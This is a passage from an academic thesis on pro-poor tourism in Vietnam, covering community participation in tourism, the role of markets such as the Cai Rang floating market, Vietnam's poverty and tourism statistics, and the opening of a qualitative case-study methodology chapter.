in Mowforth & Munt, 2009, p. 225) points out: In recent years, there have been an increasing number of comparative studies of development projects showing that participation is one of the critical components of success ... As a result, the terms people participation and popular participation are now part of the normal language of many development agencies, including non-governmental organisations, government departments and banks. It is such as fashion that almost everyone says that participation is part of their work. In fact, the agents of tourism development, including the state, private corporations, not-for-profit organisations, and related financial and technical planning organisations, as well as tourists themselves, all have their own values, ideology, goals, priorities, resources and strategies for tourism development (Telfer & Sharpley, 2008). It seems that local communities at tourist destinations are often not involved in the tourism development process. It is believed that local communities are often assumed to be represented by their local governments but the governments have their own agenda, usually having to do with earning foreign exchange in order to pay down debt held by foreign banks, but not necessarily related to issues like 32 regional development and income generation at the local level (Telfer & Sharpley, 2008). Participation is not, however, without its critics. According to Liu and Wall (2006, cited in Telfer & Sharpley, 2008), without adequate human resource management locals may not have the skills and knowledge to participate. They also suggest that many, perhaps most communities in the developing world may require an outside catalyst to stimulate interest in tourism development and external expertise to take full advantage of their opportunities (Telfer & Sharpley, 2008, p. 112). On the other hand, it has been said that the tourism industry has a responsibility to the local community in destinations since it uses the community as a resource, sells it as a product and in the process affects the lives of everyone (Murphy, 1988, p. 97). Local communities should have the rights to voice their support or opposition in the tourism planning and development process as well as receive equitable benefits from the tourism sector. Maximising benefits to local residents can result in the active collaboration of communities and in active support for conservation of local tourism resources (Zimmermann, 2006). For example, participation in tourism planning and management educates the community about the potential long-term benefits of tourism (Scheyvens, 2002). Conversely, a lack of public participation can prove harmful for local people, leading to the damage of natural resources or to the abandonment of traditional occupations and lifestyles clearly, a loss to locals as well as tourists. The focus on the relationship between tourism, tourists, and host communities recognises that under certain condition it can be a win-win situation for all parties. The principle of local participation may be easy to promote; but putting it into practice is more complex, and implementation may take a number of different forms (Scheyvens, 2002). Pretty (1995) identified and reviewed six types of participation (see Table 2). 33 Table 2: Prettys typology of participation Typology Characteristics of each type Passive participation Participation by consultation Bought participation Functional participation Interactive participation Self-mobilisation and connectedness People participate by being told what has been decided or has already happened. Information being shared belongs only to external professionals. People participate by being consulted or by answering questions. Process does not concede any share in decision making, and professionals are under no obligation to take on board peoples views. People participate in return for food, cash or other material incentives. Local people have no stake in prolonging technologies or practices when the incentives end. Participation is seen by external agencies as a means to achieve their goals, especially reduced costs. People participate by forming groups to meet predetermined objectives. People participate in joint analysis, development of action plans and formation or strengthening of local groups or institutions. Learning methodologies used to seek multiple perspectives and the group determines how available resources are used. People participate by taking initiatives independently of external institutions to change systems. They develop contacts with external institutions for resources and technical advice they need, but retain control over resource use. (Pretty & Hine, 1999, Pretty, 1995, cited in Mowforth & Munt, 2009, p. 229) 34 The six types of participation range from passive participation, in which virtually all the power and control over the development or proposal lie with people or groups outside the community, to self-mobilisation, in which the power and control over all aspects of the development rest squarely with the local community. The latter type does not rule out the involvement of external bodies or assistants or consultants, but they are present only as directors and controllers of the development. The range of participation types allows for differing degrees of external involvement and local control, and reflects the power relationships between them. For local people, involvement in the decision-making process is a feature of only the interactive participation and self-mobilisation types, while in the functional participation type most of the major decisions have been made before they are taken to the local community. The only forms of local participation likely to break the existing patterns of power and unequal development are those which originate from within the local communities themselves. In summary, the voices of Third World people should be listened to regarding both their concerns about tourism and what they hope to achieve through tourism, before carefully considering if there are appropriate means of pursuing tourism, and appropriate types of tourism that will readily meet the needs and desires of local communities (Scheyvens, 2002). There is no doubt tourism needs to work for local communities otherwise they will stop supporting the industry (Milne, 2007). 2.3 The Role of Markets in Development Since the case study in this research is a floating market, it is important to examine the role that markets can play in local development and PPT. Markets are, by their nature, business incubators (Project of Public Spaces, 2009). One of the greatest things about a market is its ability to generate happiness and goodwill at the heart of a community (Boniface, 2003). Markets can help build community because they are, indeed, about all things local. Markets can be likened to community anchors because they provide a way to bring people together, but they are always shifting and evolving, just as a community shifts and evolves. They are also invaluable tools to improve low-income communities. Creating their own retail vendor jobs, selling at a market, is an important way to help people with their financial needs (Marten, 35 2010). Whether a market is selling regional farm products, prepared foods, locally made crafts, or antiques, it must be an economic generator for vendors and a welcoming place for customers. When this connection of commerce and community is achieved markets become catalysts and centres of entire districts, offering a variety of places to shop, live, stroll and be entertained. With the right plan, business mix, and management, a market can represent a real step forward for the enhancement of the local economy and the community it serves (Project of Public Spaces, 2009). In addition, markets are one of the indispensable elements in tours for visitors. Markets are where guests spend money and explore local culture. As Hubert (2001, cited in Boniface, 2003, p. 85) points out: To feel the pulse of a village, district, or city, there is no better place than the market. Its a place of exchange for material goods and intangible realities, a space and time in which human dynamics can take shape and become manifest ... Moreover, they offer the inquisitive visitor a marvellous [sic] opportunity for getting inside a different world. Markets, of course, differ considerably from each other and can be very interesting for visitors to explore. For example, the Camden Lock market, set on the Regents Canal, away from the hustle and bustle of the city, is one of Londons top visitor attractions. Its unique shopping experience and cosmopolitan atmosphere makes it one of the most renowned and busiest markets in London (Fulford, 2005). People visiting Camden Lock come there because of the vitality and atmosphere that the market creates. They also come because of the uniqueness of the area (there are no chain stores/cafes) and to eat and drink by the Regents Canal. Camden Lock is primarily a social venue and a meeting place, but once people are here they find it very hard not to shop (Fulford, 2005). Camden Lock market allows customers to see their goods being made a rare thing in modern London. Goods are still designed and made on site and studios are open to the customers. For young artists, the Lock studios offer a rare opportunity to rent a space where they can sell their work (Fulford, 2005). 36 Another type of market that benefits both visitors and local community is the farmers market. People coming to farmers markets can enjoy the opportunity to buy fresh, locally grown products directly from the farmers. In addition to produce, many markets offer a wide variety of agricultural products including meat, honey, cut flowers, nursery plants, eggs, baked goods and more. Farmers are able to gain a larger share of the dollar from direct sales (Commons News, 2010). Furthermore, these markets hire local people and usually sell local products, so they are keeping those dollars in a local economy (N.C. Market Ready, 2010). It has been said that the mission of farmers markets is to support local agriculture by providing a viable direct market outlet while building community and promoting regional sustainability (Commons News, 2010). Farmers markets not only support the local economy but also encourage healthier meals that feature fresh fruits and vegetables. In Thailand, there are some floating markets that attract a huge number of tourists, an important source of income for local communities (Vu, 2008). These floating markets are normally located on a spectacular canal system, which was built to serve agricultural activities as well as trade and travel. Floating markets in Thailand include Tailing Chan and Wat Sai but one of the most famous floating markets, which attracts thousands of tourist from Bangkok every day, is the Damnoen Saduak (Vu, 2008). The Damnoen Saduak floating market is located in Ratchaburi province. It is approximately 105 kilometres from the southwest of Bangkok. At the Damnoen Saduak, the banks are full of souvenir and art stalls and those selling agricultural products have also changed their trade methods in order to be more appealing to visitors: fruits are peeled, plastic wrapped and displayed nicely so that the produce looks clean and delicious (see Figure 2.3) (Vu, 2008). According to Vu (2008), the Damnoen Saduak floating market was created primarily to serve tourists and a strong artificial intervention of the Thai tourism industry is very clear. According to Vu (2008), the market brings a range of benefits for local people. Many tourists come and stay overnight in hotels in Damnoen Saduak in order to be able to come to the floating market in the early morning. Sometimes tourists bargain over prices then go without buying anything, yet they still receive a friendly smile from the sellers (see Figure 2.3) (Vu, 2008). 37 Figure 2.3: Stallholders - Damnoen Saduak, Thailand (Source: Vu, 2008) In Vietnam, markets are also very important for local people, especially the poor. A food seller on the Cai Rang floating market, Can Tho city, Vietnam said her family was very poor; like other poor people, her husband and she had to go down the river for a living since they did not have any job or land (Thanh Nien News, 2009, pp.15). For more than thirty years, she has taken her small boat to the market, serving bun (noodle) to the locals. The income from selling on the floating market has not only helped this 60-year-old woman to raise her three children well, but also given them a complete education that has changed their lives (Thanh Nien News, 2009). Her children dont want their mother to continue selling noodles at the floating market at her age, but she cannot quit. She explains: I am so attached to the market that I feel uncomfortable if I am separated from it. (Thanh Nien News, 2009, pp.17). Markets are also indispensable stopovers in package tours. A market is a place for tourists to spend money, make contact with local people and explore the local culture (Hoang & Tran, 2010). Some famous markets in Vietnam include Ben Thanh and Binh Tay market in Ho Chi Minh city, Dong Ba market in Hue, Han market in Da Nang, Dong Xuan market in Ha Noi, Love market in Sapa and the floating markets in the Mekong Delta. The chairman of the Vietnam Cruise Company said that over 20 years working in international travel, he had put markets as a site in the tours to most provinces in Vietnam (Hoang & Tran, 2010). Tourists give good comments every time they visit markets and find them to be one of the most impressive experiences in their journey to Vietnam (Hoang & Tran, 2010). According to the Head of Training, Vietnam Tourism Association, markets are important tourism 38 resources and, if well designed and managed, markets will become the unique tourism products of Vietnam (Hoang & Tran, 2010). There is no doubt that if well designed and managed, markets are not only a place for doing business but also an attraction for tourists who want to explore local culture and authenticity. Tourist spending on local products at these markets can also support the local economy and potentially the poor. In simple terms, markets such as Can Tho represent a potentially important place for tourism to support poverty alleviation. 2.4 The Vietnam Context 2.4.1 Vietnam poverty measurement Vietnam is a densely populated developing country. In the last 35 years the country has had to recover from the ravages of war, the loss of financial support from the old Soviet Bloc, and the challenges associated with a centrally planned economy. In the 1980s, Vietnam was one of the poorest countries in the world (Le & Koo, 2007). Since the Doi Moi (renovation) policies were adopted in 1986, Vietnam has achieved outstanding results in its economic performance (Cooper, 2000). From a stagnating economy characterised by poor macroeconomic performance, and with low growth, high unemployment and hyperinflation, Vietnam has turned itself into one of the fastest growing economies in the world, with average annual GDP growth of 7.2% during the decade prior to the 20082009 economic slow-down (Le & Koo, 2007, World Bank, 2010). Moreover, the Vietnamese Government has successfully translated economic growth into social improvements, lifting some 35 million people out of poverty during that period (World Bank, 2010). Vietnams performance in poverty reduction over the last two decade is considered a successful case in poverty reduction among developing countries. The countrys poverty rate halved in less than ten years (Vu, 2009): in 1993, 58% of the population lived below the poverty line, but by 2002 this proportion had declined to 29% (Le & Koo, 2007). And this reduction has continued: in 2009 it was estimated that 12.3% of the population lived below the poverty line (Central Intelligence Agency, 2010). The Vietnamese government hopes to decrease the number of poor households to 11% by 39 2010 (Vietnam News, 2009). Generally, deep poverty has declined significantly in Vietnam and its aim to achieve middle-income status (defined by the World Bank as countries with a per capita income of US$1,000) is well within sight (Central Intelligence Agency, 2010, World Bank, 2010). Despite its remarkable achievements in economic growth and poverty reduction, sustaining Vietnams growth will be challenging, given increasing pressures on the countrys natural resource base from a growing population, the exposure of large segments of the population to natural disaster risks, and the expected (adverse) impacts of climate change (World Bank, 2010). Although Vietnam has an admirable history of coping with natural disasters and minimising their effects, the economic and human costs can still be huge (Oxfam, 2008). In the decade between 1991 and 2000, for example, official estimates are that 8,000 people in Vietnam lost their lives as a result of storms, floods, and landslides, while economic losses amounted to nearly US$3 billion. According to the World Banks 2008 Global Monitoring Report, Vietnam ranks eighth in the list of the ten countries in East Asia most vulnerable to weather extremes. A staggering 70% of the countrys population live in areas subject to water-related natural disasters (Oxfam, 2008). The poor are more likely to live in areas vulnerable to flooding and other natural disasters, and less likely to live in more robust permanent homes (Oxfam, 2008). There is still a significant number of households living in temporary dwellings, especially in the poor regions. The proportion of households that own temporary dwelling units is 17.7% for the whole country, but the region with the highest percentage is the Mekong River delta, where 29.3% of households live in temporary dwellings (Vu, 2009). Furthermore, the greatest numbers of poor people live in the Mekong River delta; many of them rely largely on agricultural activities, but are vulnerable to increasing land scarcity, insecure off-farm employment and uncertain access to basic services (Oxfam, 2008). Flooding has become almost an annual event in the Mekong Delta (Nguyen, 2007). Floods with strong currents are a danger to human life and property, as well as to public infrastructure (Nguyen, 2007). Floods cause millions of dollars worth of damage and have a catastrophic effect on regional rice crops (Lonely Planet, 2008). Others in the delta include poor fishing communities, who are becoming more at risk to the vagaries of the weather. The 40 impact of flooding, storms or drought is usually greater on poor people as they have fewer resources to help them recover. Inability to pay off debt or take out new loans, increases in local food prices, and illness due to water-borne diseases can all disproportionately affect the poor (Nguyen, 2007). As a result, challenges remain for those trying to further reduce poverty in Vietnam, challenges which are being exacerbated by climate change. Although poverty alleviation has been achieved to a large extent, poverty reduction remains a major concern for Vietnamese society. While there is no national statistic on what percentage of the population is living near the poverty line, a significant number of the people have incomes that are very near the poverty line. These people may easily fall into poverty if there were to be an unexpected event such as a natural disaster, crop failure or economic crisis (Vu, 2009; Cities Alliance, 2004). Vietnam faces many other constraints in the development process, including rapid population growth, inadequate basic services of health care, and a large population with low educational levels. With a population of more than 88 million in 2009 and an estimated population growth rate of 1.13%, Vietnam is working to create jobs to meet the challenge of a labour force that is growing by more than one million people every year (Central Intelligence Agency, 2010). A study (Vu, 2009) showed that less than 50% of households have access to sanitary toilets. The Mekong River delta region, with only 20% of households having access to sanitary toilets, has the lowest percentage access of all regions. These figures are low compared with the National Strategy of Safe Water Supply and Sanitary Environments target of 70% of households having access to sanitary toilets by 2010 (Vu, 2009). The rate of literacy calculated for the population aged six years old and over is 94.5% nationwide. The percentage of people who have primary education (from Grade 1 to Grade 5) is 31.5%; lower secondary (Grades 69), 41.6%; upper secondary (Grades 1012), 18.8%; and college and university, 1.8%. Poverty is an important reason why children do not go to school. At least 46.3% of children who have dropped out attribute this to reasons such as lack of labour in the family, and the very high cost of schooling, while the lack of awareness and appreciation of parents 41 and children of the benefits of education was the reason for 9.5% of the cases (Vu, 2009). Other concerns regarding poverty reduction in Vietnam include its current low poverty line and the lack of reliable measures of poverty (Vietnam News, 2009; Urban Health Updates, 2009; Can Tho City Department of Labour, War Invalids and Social Affairs, 2009). The existing poverty line, which was created in 2005, is VND200,000 (approximately US$10) per person per month in the countryside and VND260,000 for those living in urban areas. There are ten million residents living below this line (Vietnam News, 2009). It is said that the current value of the official poverty line is insufficient to meet minimum basic needs in Vietnam. In fact, with VND200,000 people now can only buy 12 kilograms of rice, which is not enough on which to survive for an entire month. In the context of inflation making the basic cost of living much higher, this poverty line is no longer appropriate: it is too low in comparison with the increase in prices (Urban Health Updates, 2009). The current low poverty line means many poor people are not officially defined as poor and so fail to access support from the government. Therefore, the Ministry of Labour, War Invalids and Social Affairs has proposed a new poverty standard: for those living in rural areas, the line will be VND350,000 (US$16.75) or less a month, or for those living in urban areas, it will be VND450,000 (US$21.54) or less a month (Can Tho Department of Labour, War Invalids and Social Affairs, 2009). The new level has been based on calculations that will ensure that individuals have enough money for food and basic necessities, said Deputy Director of the Institute for Social Labour under the Ministry of Labour, Invalids and Social Affairs (MOLISA). When the new poverty line comes into effect, it will increase the number of poor households in the country by 7% (Vietnam News, 2009). 2.4.2 Vietnam tourism Currently Vietnam is one of the most popular tourist destinations in the AsiaPacific region and its tourism industry has been growing over the past few years (Footprint, 2010). The tourism industry is increasingly recognised as one of the largest and fastest growing industries in Vietnam, in terms of foreign exchange earnings, income 42 generation, job creation and share of the gross domestic product. The Vietnamese tourism industry has grown nearly twice as fast as GDP in recent years (Footprint, 2010). The tourism industry is also proposed to strengthen linkages among many sectors of the national economy, to eliminate poverty within the country and connect Vietnam with the world (Vietnam Business Forum, 2010a). The Governments support has been the key driving force for this industry. The Government has been spending readily on the promotional activities all around the world to boost the nations tourism industry. According to Travel and Tourism Intelligence (2009), there are few countries in the world that have changed so radically over such a short time as Vietnam. Just 35 years after the end of the American War, the country is in the grips of commercial development: new shops, hotels and offices are being built at a rapid rate, street markets are flourishing and cross-border trade with China is booming. When attempting to understand Vietnams tourism industry, it is important to trace back the industrys history and development. The American War came to the end when the United States withdrew its troops from Saigon, now called Ho Chi Minh city, in 1975. This devastating war had caused Vietnams economy to virtually collapse. Despite the return of peace, for over a decade the country experienced little economic growth because of conservative leadership policies. Vietnam was cut off from the flow of tourists from the non-communist world; visitors rarely went to Vietnam for travel or to do business (Mok & Lam, 2000). Since the enactment of Vietnams Doi Moi (renovation) policy in 1986, Vietnamese authorities have committed to increased economic liberalisation and enacted structural reforms needed to modernise the economy and to produce more competitive, export-driven industries (Central Intelligence Agency, 2010). With this open door policy, restrictions on private investment were gradually lifted and foreign investment and ownership encouraged (Mok & Lam, 2000). However, opening up the economy was not easy in the beginning as Vietnam lacked capital, experience, infrastructure and a trained labour force. Moreover, at that time Vietnam was virtually isolated from the outside world as a result of an American embargo on trade (Cooper, 2000). Vietnam was also faced with difficulties arising from the collapse of the socialist system in the East European states and the Soviet Union. 43 Despite these problems, the Doi Moi strategy has been effective. Vietnam has expanded its trading relationships to other regions, including the European Union in 1992. In 1994, the United States decided to lift the 20-year-old trade embargo. Then Vietnam was accepted as a full member of the Association of South-East Asian Nations (ASEAN) in 1995 (Cooper, 2000), the ASEAN Free Trade Area (AFTA) in 1996, and the Asia-Pacific Economic Co-operation (APEC) in 1998. In January 2007 Vietnam joined the World Trade Organisation (World Trade Organisation, 2007). As a result, foreign investors have flocked to Vietnam and started exploring business opportunities within the country (Mok & Lam, 2000). The introduction of the Doi Moi strategy has also helped the tourism industry develop almost from scratch since 1987 (Mok & Lam, 2000). In the early 1990s Vietnam began to encourage tourism as part of its general policy of liberalization. The central government determined that tourism was an important economic sector with in-depth cross-sectoral, inter-regional and highly socialised characteristics, and it wanted to develop a tourism sector that would satisfy tourists demand while making contributions to both the improvement of the community and national socio- economic development (Can Tho Portal, 2007c). To highlight the key roles of the tourism industry and to facilitate its development, the Vietnamese Government set up the Vietnam National Administration of Tourism (VNAT) in 1993; this body focuses on strategic planning and marketing for the tourism industry (Mok & Lam, 2000). At the end of 2007 the new Ministry of Culture, Sport and Tourism (MCST) was established, which is responsible for the management of culture, sport and tourism sectors at national level. The VNAT is currently responsible for the general administration of tourism, and is under direct control of the MCST (European Commission, 2008). The VNAT controls the planning for tourism development, sets out strategies, collaborates, conducts research and instructs, as well as inspects the implementation of policies and other regulations in the tourism industry. The Vietnamese Governments determination to develop tourism as a key economic sector cannot be underestimated. There has been considerable investment in airport infrastructure and roads as well as tourism superstructure such as hotels and resorts (Travel & Tourism Intelligence, 2009). The Vietnamese Government has invested VND2,146 billion in infrastructure and management for this sector in the last five 44 years. During the same period, the government has also attracted 190 foreign direct- investment projects in the tourism industry, with a total capital of $4.64 billion USD in infrastructure for tourism (Luong, 2005). Furthermore, since the late 1990s, $1.96 billion USD has been invested in 104 hotel development projects, making tourism one of the countrys most important industries (Luong, 2005). Vietnamese authorities have planned to pour 40 billion VND into tourism promotion campaigns abroad in 2010 (Vietnam Business Forum, 2009d). Vietnams recent political stability has also made tourism development possible (Mok & Lam, 2000). In order to develop relations with other countries, while at the same time making conditions favourable for the travel of its own citizens, Vietnam has agreed with many countries on visa exemptions (Embassy of the Socialist Republic of Vietnam in the United States of America, 2001). Visas are issued at the Vietnamese diplomatic offices or consulates in foreign countries. Visas can also be issued at the border gates to those who have written invitations or tourists on tours organised by Vietnamese international travel companies (VNAT, 2005). Recently, to boost tourism and attract more foreign visitors, the State Steering Committee on Tourism is proposing the government exempt visa fees and refund value-added taxes (VAT) for international tourists in August and September 2010. This is part of the tourism promotion programme entitled Vietnam Your Destination announced by the VNAT in March 2010 (VOV News, 2010b). In 1990, Vietnam received 250,000 foreign visitors. Within ten years, the number had increased rapidly, to 2.14 million in 2000 (European Commission, 2008). In 2001, the tourism worldwide was hit badly by the terrorist attacks in the United States of America on 11 September, but the number of international arrivals to Vietnam still increased to 2.3 million and was up again to 2.6 million in 2002. However, in 2003, the Severe Acute Respiratory Syndrome (SARS) crisis had a devastating impact on Vietnams tourism industry, with the number of tourist arrivals declining about 8% over previous years, to 2.4 million. Nevertheless, the industry recovered quickly and in 2004, the number of international arrivals had increased to 2.9 million. The Vietnamese tourism industry continued to grow in 2008, Vietnam received 4.2 million international tourists until it was hit badly again, this time by the global economic crisis. In 2009, the number of international arrivals to Vietnam 45 decreased by 11.3% to 3.77 million, and of significant concern is that this decrease was 5% more than the decrease experienced by other countries in the Pacific-Asia region (Vietnam Business Forum, 2009c). However, since then there has been an increase in the number of foreign tourists to Vietnam: in 2010, according to VNAT (2011a), international tourist arrivals to Vietnam grew by 34.8% from a year earlier, to 5.05 million (see Figure 2.4). The sharp increase is attributed to the recovery of the national and world economy and to efficiency of promotion campaigns (Vietnam Business Forum, 2010b). Figure 2.4: International arrivals to Vietnam for the period 20002010 (Source: VNAT, 2011b) The number of domestic tourists has also increased sharply. In 1990, there were only one million domestic tourists but in 2000, this had increased to 11 million. The numbers continued to grow steadily and reached 17.5 million in 2006 (European Commission, 2008). Domestic tourism grew at a particularly high rate during 2008 2009. According to the VNAT (2010f), while the number of foreign visitors fell more than 11% in 2009, the number of domestic travellers increased sharply by 20% 2.14 2.33 2.63 2.43 2.93 3.47 3.58 4.17 4.25 3.77 5.05 0 1 2 3 4 5 6 2000 2001 2002 2003 2004 2005 2006 2007 2008 2009 2010 m i l l i o n 46 over the previous year, to 25 million, which helped spur the countrys hospitality industry during tough times last year (see Table 3). According to the Deputy Head of the VNAT, despite the domestic market playing a more and more important role given the current decline in international tourist arrivals, it is contributing around 20% to total revenue of the countrys tourism (Vietnam Net, 2009b). VNAT said that it would continue to speed up the growth of the sector for the long-term development and to encourage more local people to travel (VNAT, 2010f). After deciding domestic travellers will be the main driving force for the tourism industrys development, a number of promotional programs have been launched to attract more domestic travellers in 2010. The Ministry would pour more investment in diversifying and bettering tourism services in order to receive about 28 million domestic tourists in 2010 (VNAT, 2009c). Table 3: Visitors to Vietnam from 20002009 Year International visitors Domestic visitors 2000 2,140,100 11,200,000 2001 2,330,800 11,700,000 2002 2,628,200 13,000,000 2003 2,429,600 13,500,000 2004 2,927,876 14,500,000 2005 3,467,757 14,900,000 2006 3,583,486 17,500,000 2007 4,171,564 20,000,000 2008 4,253,740 20,833,000 2009 3,772,359 25,000,000 (Source: VNAT, 2011b) 47 As well as an increase in tourist numbers, the Vietnamese tourism industry has enjoyed a strong growth in tourism receipts. The tourism sector is one of Vietnams two largest foreign exchange earners (Vietnam Business Forum, 2010a). Over the period 20042008, visitor receipts increased by an average annual rate of 26.15%, an increase from US$1.7 billion in 2004 to US$4 billion in 2008 (Travel & Tourism Intelligence, 2009). Visitor expenditure has outperformed visitor arrivals (which have increased by an average of 9.8% per annum over the same period). In other words, the average spend per visitor trip increased significantly, from US$581 in 2004 to US$940 in 2008. Last year, despite the global recession, Vietnamese tourism revenues were up 9% over a year earlier and the industry was estimated to contribute 13.1% of the GDP to the Vietnamese economy (Vietnam Business Forum, 2010b; Footprint, 2010). This year, the country aims to earn tourism revenues of between $4 billion USD and $4.5 billion USD (VNAT, 2009c). The development of tourism has also helped to boost other economic sectors, increasing the service ratio within the national economic structure and revitalising many commercial activities (UNDP, 2005; CIEM, 2005). In many localities, tourism development has fundamentally altered the appearance of the municipality, countryside and local communities. In general, the tourism industry is seen as having a positive impact because of its contribution to economic growth. Employment Tourism is generally regarded as an employment-intensive industry (Travel & Tourism Intelligence, 2009). The impressive growth of the Vietnamese tourism industry has contributed to an expansion in employment. The tourism industry generates direct full-time employment in such formal sectors as hotels, restaurants, transport services, travel agencies and guiding. In 2000, there were 685,000 employees directly and indirectly involved in the tourism industry nationwide; by 2005 this had increased to 799,000 (VNAT, 2008). The Administration of Tourisms survey showed that the number of workers involved in the tourism sector, either directly or indirectly, had reached more than one million by 2008. When comparing these numbers with employment figures from across the country, in July 2008 the number of workers involved in tourism (either directly and indirectly) accounted for 10% of all those working in a service area and 4% of the countrys total workforce 48 (Vietnam Business Forum, 2009a). In 2009, the tourism industry had 1,035,000 workers, of which 285,000 people were direct workers and 750,000 people were indirect workers (Vietnam Business Forum, 2009b). As a spearhead of Vietnams economy, the tourism sector in Vietnam is expected to employ 1.2 million people by 2010 (VNAT, 2008). Tourism development has both positive and negative impacts on local residents in terms of employment. For local communities, many people gain benefits from jobs induced by tourism. Families living near tourism destinations often operate tourism- related services such as tea stalls, and food and beverage enterprises, or produce traditional handicrafts or operate souvenir shops for tourists. They even make themselves available as drivers. The income from these kinds of jobs is more stable then working on the farm. Moreover, it is particularly good for the local people because the Vietnamese government does not impose tax on these incomes (Scheyvens, 2002). The Vietnamese tourism industry can also have less-positive impacts on employment opportunities for local communities. People may move to the tourism sector from the other sectors and, as a result, the tourism industry does actually create new jobs or reduce unemployment. In recent years, many local governments have established tourist attractions and accommodation around national parks, relics, nature reserves and monuments as well as set up buffer zones to protect them. Local people are moved out or have their living practices restricted in, these areas. When tourism development displaces local villagers in this way it can destroy their traditional employment practices (Scheyvens, 2002). It is worth noting also that the private sector has made considerable effort to increase the efficiency of business operations by reducing labour costs in some tourism-related services (Singh, Timothy & Dowling, 2003). Challenges for tourism development Although tourism has been increasing in Vietnam over the past decade, when compared with its neighbours, Vietnam still has relatively few international tourists (Berger, 2005). For example, in 2000, while Vietnam welcomed just more than two 49 million foreign tourists, Thailand received more than nine million foreign tourists and Malaysia had more than ten million (Sofield et al., 2004). Similarly, in 2008, international arrivals to Vietnam were more than four million, but more than 14 million arrived in Thailand and 22 million in Malaysia (VNAT, 2011b; ThaiWebsites, 2011; Tourism Malaysia, 2010). Moreover, the Vietnamese tourism industry currently has a ratio of 15% for repeat international visitation, which is rather low compared with Singapore, Thailand or Indonesia (VNAT, 2008). Vietnamese tourism revenue is also very low in comparison with its neighbouring countries (VnEconomy, 2009). It is obvious that Vietnam still struggles to compete as a tourism destination with some of its neighbours such as Singapore, Thailand, Indonesia (Bali) and Malaysia (VNAT, 2005). At present, Vietnam tourism is only ranked fifth in terms of international arrivals in South-East Asia (Vietnam Business Forum, 2009b). Furthermore, a report on the Vietnamese tourism sectors competitiveness showed that Vietnam was ranked 97th in a list of 133 countries. In ASEAN, Vietnam was trailing to Singapore, Malaysia and Thailand, which were ranked at 7, 32 and 42 respectively, not to mention the other developed countries (Thanh Nien Online, 2010). There is no doubt that tourism in Vietnam, even though it is growing rapidly, is still less well developed than tourism in many other countries. Nevertheless, according to the World Travel and Tourism Council (2008), Vietnam is predicted to be among the top ten major tourist destinations in the world in the next ten years (cited in European Commission, 2008). In the latest survey by the WTTC, Vietnam moved up from sixth to fourth place in the league table of the worlds fastest-growing destinations (European Commission, 2008). Moreover, Vietnam is considered to be a safe destination when compared with Thailand, with its political turmoil, and Indonesia, with its domestic terrorism. A recent release in the DeMorgen, one of the biggest newspapers in Belgium, praised Vietnam as one of the safest destinations for tourists and recommended readers visit there (VNAT, 2009d). While in Vietnam for the 22nd session of the Pacific and South Asia Commission and the Commission of East Asia and Pacific, the UNWTO Secretary General assured delegates that Vietnam has huge potential to develop tourism based on its stable political situation and hospitality, and its diverse range of landscapes and relics (Vietnam Business Forum, 2010a). To exploit these advantages and create 50 beautiful impressions on international friends, Vietnamese tourism industry needs a concrete strategy to ensure that tourisms economic benefits are not only immediate and well distributed, but also that the industry can sustain its impressive growth (Vietnam Business Forum, 2009b). According to the VNAT, the tourism industry in Vietnam is still not developing to its full potential and has not yet taken up its role as a spearhead for the economic sector (Vietnam Business Forum, 2009b). The professionalism of the Vietnamese tourism service industry remains weak and this is apparent in all areas from management, promotion, advertisement and marketing to the service workforce and infrastructure. Vietnam has not actually created trademarks (Vietnam Business Forum, 2009b). Since tourism is among the countrys major economic sectors, contributing to job creation and the alleviation of poverty, the country needs to focus on human resource training and marketing to ensure the long-term growth of the industry (Vietnam Business Forum, 2010a), as well as continue promotional activities in foreign countries. The diversification and improvement of tourist products and services also needs more attention in the years to come. The development of tourism based on regional and territorial characteristics has proven to be effective and the tourism industry should pay more attention to this linkage to create interesting and characteristic tourism products and services that stimulate visitor interest and encourage spending (Vietnam Business Forum, 2009b). To sum up, the ever-increasing annual number of international and domestic tourists coming to Vietnam has been a significant encouragement to the industry in its effort to promote tourism business development. However, there is more to be done if tourism is to reach its potential, including improving quality of tourism services and products, and marketing and promoting Vietnams image overseas. It is also vital that the industry be planned and managed in such a way as to enhance sustainable development outcomes and to improve its ability to bring economic benefits to the poorer segments of society. 51 3. Methodology This chapter contains a discussion of the methodological approach and research design used to examine the aims and objectives set out in Chapter One. The discussion clarifies the methods, instruments, and specific processes of data collection and analysis as well as the ethical issues involved. It is always important to adopt an appropriate research methodology in order to perform an extensive examination of all relevant areas (Decrop, 1999). With regards to the purpose of this research, a qualitative approach was seen as the most relevant for two reasons. Firstly, as suggested in Chapter One, the research sought to ascertain the perceptions of stallholders at the Cai Rang floating market, local tourism official and tourism professionals about the floating market and pro-poor tourism. Strauss and Corbins (1990) position that qualitative methods are useful for revealing and understanding what lies behind any phenomenon about which little is known, is supportive of this. Secondly, individual perception will differ to a great extent and is influenced by several factors, and such differences are harder to explain through standardised quantitative methods. 3.1. Case-Study Approach Case studies are one of the most common approaches used in qualitative method inquiry (Stake, 2000), providing an empirical investigation of an existing phenomenon in its real-life context (Yin, 1994). The case-study approach is particularly useful in situations where the research topic is required to be defined broadly (Yin, 2003). Jennings (2001) portrayed the advantages and disadvantages associated with case studies; these are summarised in Table 4. One of the key advantages of case studies is that they give access to in-depth data. The case-study approach gives the opportunity for participants to verify the accuracy of the evidence. The possibility of verification by participants also eliminates chances of researchers bias. On the other hand, a disadvantage of case studies is that they do not reveal the focus of the research at the beginning but provide an emergent focus. The fact that reproduction of the findings may be denied due to verification by participants is also a disadvantage. In addition, since the findings are case sensitive, they may not be able to be generalised beyond the case studied. 52 Table 4: Advantages and disadvantages of case studies Advantages Disadvantages Permits in-depth data Evidence is grounded in the social setting being studied Accuracy can be verified by study members Possible elimination of researcher bias due to member checking Research focus not clearly stated at the start (emergent focus) Possibility of denied reproduction of evidence due to member checking Potential of bias in data collection, analysis and findings Findings are specific to case, non- generalisability to other cases Source: Adapted from Jennings (2001, p. 178) It is argued that case studies are often the most appropriate method to adopt when analysing the background, processes and practices that are related to a research topic (Yin, 2003; Gillham, 2000; Finn, Eliott-White & Walton, 2000). Most previous research related to pro-poor tourism is also based on case studies. This is because, among other reasons, case studies can demonstrate the richness of the experiences and issues involved. Recently, pro-poor tourism case-study research exploring the relationship between poverty reduction and tourism development has been done in China (Guo, 2008). Similar studies were conducted by Harrison and Schipani in Lao, and by Spenceley and Goodwin in South Africa (Hall, 2007). WTO (2005b) also investigated the linkage between tourism and poverty alleviation in Cambodia and Vietnam. Similarly, a case study method was used in this research because it allowed the context of pro-poor tourism to be better understood in relation to the research question. 3.2. Qualitative Research Approach Qualitative research is defined by Strauss and Corbin (1998, p. 10) as any type of research that produces findings not arrived at by statistical procedures or other means of quantification. In other words, qualitative methods are perceived as distinct 